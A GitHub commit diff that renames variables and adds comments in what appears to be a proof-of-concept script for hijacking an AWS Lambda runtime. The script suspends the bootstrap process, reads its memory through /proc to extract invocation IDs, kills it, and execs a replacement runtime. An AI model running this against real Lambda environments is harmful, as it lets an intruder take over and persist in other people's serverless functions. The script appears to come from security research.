Skip to content

Commit 3e31882

Browse files
authored
Refactor external_process_poc/switch_runtime.py
Better comments and variable names
1 parent dfc06d3 commit 3e31882

File tree

1 file changed

+22
-17
lines changed

1 file changed

+22
-17
lines changed

external_process_poc/switch_runtime.py

+22-17
Original file line numberDiff line numberDiff line change
@@ -19,39 +19,40 @@
1919
STDERR_FILENO = 2
2020

2121
def main():
22-
pid = os.popen("pgrep -fn 'python.*bootstrap'").read()
23-
if (not pid) or (not pid.rstrip().isdigit()):
22+
old_runtime_pid = os.popen("pgrep -fn 'python.*bootstrap'").read()
23+
if (not old_runtime_pid) or (not old_runtime_pid.rstrip().isdigit()):
2424
# Maybe we already switched it, let's try to switch again
2525
print("[!] Couldn't find the bootstrap process, checking if we already switched it...")
26-
pid = os.popen("pgrep -fn '{}'".format(DEFAULT_RUNTIME_PATH)).read()
27-
if (not pid) or (not pid.rstrip().isdigit()):
26+
old_runtime_pid = os.popen("pgrep -fn '{}'".format(DEFAULT_RUNTIME_PATH)).read()
27+
if (not old_runtime_pid) or (not old_runtime_pid.rstrip().isdigit()):
2828
print("[!] Couldn't find the bootstrap process or our new runtime, " + \
2929
"maybe someone else already switched the runtime? (or AWS changed the architecture)")
3030
return
3131

32-
pid = pid.rstrip()
33-
signal_process("STOP", pid)
32+
old_runtime_pid = old_runtime_pid.rstrip()
33+
signal_process("STOP", old_runtime_pid) # stop the bootstrap process
3434

35-
possible_invoke_ids = extract_invoke_id(pid)
35+
possible_invoke_ids = extract_invoke_id(old_runtime_pid)
3636
if len(possible_invoke_ids) == 0:
3737
print("[!] Failed to extract invoke id")
38-
signal_process("CONT", pid)
38+
signal_process("CONT", old_runtime_pid) # aborting, let the bootstrap process continue
3939
return
4040

41-
copy_stdout_stderr(pid)
42-
signal_process("kill", pid)
41+
copy_stdout_stderr(old_runtime_pid)
42+
signal_process("kill", old_runtime_pid) # kill the bootstrap process
4343

4444
new_runtime_path = DEFAULT_RUNTIME_PATH
4545
os.chmod(new_runtime_path, 0o777)
4646
args = [new_runtime_path] + possible_invoke_ids
47-
os.execv(new_runtime_path, args)
47+
os.execv(new_runtime_path, args)
4848

49-
# Sends signal to process
49+
50+
# Sends a signal to a process
5051
def signal_process(signal, pid):
5152
cmd = "kill -{} {}".format(signal, pid)
5253
os.popen(cmd).read()
5354

54-
55+
# Extracts possible invoke ids from a process's memory
5556
def extract_invoke_id(pid):
5657
matches = []
5758

@@ -65,33 +66,37 @@ def extract_invoke_id(pid):
6566
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) rw', map_line)
6667
if m == None:
6768
continue
69+
6870
mem_start = int(m.group(1), 16)
6971
mem_end = int(m.group(2), 16)
7072
mem_len = mem_end - mem_start
71-
if mem_len > MAX_MEM:
73+
if mem_len > MAX_MEM: # don't try to read a memory chunk that is to big for our Lambda max memory
7274
continue
75+
7376
try:
7477
mem_file.seek(mem_start) # seek to region start
7578
mem_chunk = mem_file.read(mem_len) # read region contents
7679
except (OSError ,IOError, OverflowError):
7780
continue
78-
matches += parse_matches_from_chunk(mem_chunk)
81+
matches += parse_matches_from_chunk(mem_chunk)
7982

8083
return list(set(matches))
8184

85+
86+
# Search for invoke ids in the current memory chunk
8287
def parse_matches_from_chunk(chunk):
8388
if len(chunk) < INVOKE_MIN_LEN:
84-
return []
89+
return [] # chunk not big enough to contain invoke ids
8590

8691
matches = []
87-
8892
for m in re.finditer(INVOKE_REGEX, chunk):
8993
found_invoke_id = m.group(1)
9094
matches.append(str(found_invoke_id, "ascii"))
9195

9296
return matches
9397

9498

99+
# Copy the old runtime stdout and stderr to our process
95100
def copy_stdout_stderr(pid):
96101
path = "/proc/{}/fd/1".format(pid)
97102
bootstrap_stdout = os.open(path, os.O_WRONLY)

0 commit comments

Comments
 (0)